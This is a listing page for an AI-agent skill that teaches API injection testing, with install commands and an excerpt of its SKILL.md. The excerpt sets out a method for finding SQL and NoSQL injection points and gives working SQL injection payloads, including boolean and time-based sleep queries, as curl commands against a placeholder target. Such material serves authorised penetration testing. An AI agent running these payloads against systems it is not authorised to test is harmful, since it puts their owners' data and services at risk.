# API Injection

API injection testing, SQL and NoSQL operator injection through JSON bodies, query...

- Repository: https://github.com/xalgorix/xalgorix (1285 stars)
- Category: Testing
- License: Apache-2.0
- Last updated: 2026-10-30
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add xalgorix/xalgorix --skill api-injection -g -a claude-code -y`
Codex: `npx skills add xalgorix/xalgorix --skill api-injection -g -a codex -y`
Cursor: `npx skills add xalgorix/xalgorix --skill api-injection -g -a cursor -y`
Gemini CLI: `npx skills add xalgorix/xalgorix --skill api-injection -g -a gemini-cli -y`

## Description

API injection testing, SQL and NoSQL operator injection through JSON bodies, query params, sort/filter fields, and headers, with boolean, time-based, error-based, and OOB confirmation

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# API Injection Testing

## Purpose
Exploit injection sinks behind API endpoints: SQL injection in JSON-body values, ORDER BY/filter fields, and headers; NoSQL operator injection; command injection reaching OS shells. Confirmed via differential, timing, error, or out-of-band evidence, never via status codes alone.

SSRF through URL-accepting parameters belongs to api-ssrf.

## Preconditions
- Mapped API surface with input-bearing endpoints
- For blind cases: an OOB callback domain (oob_callback tool)
- Backend fingerprint from reconnaissance (DB type determines dialect payloads)

## Attack Surface Signals
- String fields in JSON bodies, query strings, path segments
- Sort/order/filter/fields parameters (ORDER BY injection)
- Headers that reach storage or queries: X-Forwarded-For, User-Agent, Referer, cookies
- Search endpoints, report/export builders, document lookups

## Methodology

### Step 1: Map Injection Points
Enumerate every string input: path, query, JSON body (all keys, nested), headers, cookies. Include fields others skip: sort, order, filter, fields, page, locale, timezone.

### Step 2: SQL Injection
```bash
# Baseline first, record normal response and timing
curl -sk -H "Authorization: Bearer TOKEN" "https://TARGET/api/products?category=electronics" > tmp/base.json
# Boolean differential
curl -sk "https://TARGET/api/products?category=electronics'--" > tmp/t1.json
curl -sk "https://TARGET/api/products?category=electronics' OR '1'='1'--" > tmp/t2.json
diff <(jq -S . tmp/base.json) <(jq -S . tmp/t2.json)
# ORDER BY / sort-field injection (no quotes needed)
curl -sk "https://TARGET/api/products?sort=price;SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--"
```
Dialects: MySQL (`SLEEP(5)`, `--`), PostgreSQL (`pg_sleep(5)`, `--`), MSSQL (`WAITFOR DELAY '0:0:5'`, `;--`), SQLite, Oracle (`dbms_pipe.receive_message`). Try all before concluding negative when errors are suppressed.

The rest: https://github.com/xalgorix/xalgorix/blob/HEAD/internal/tools/skills/data/api-security/api-injection/SKILL.md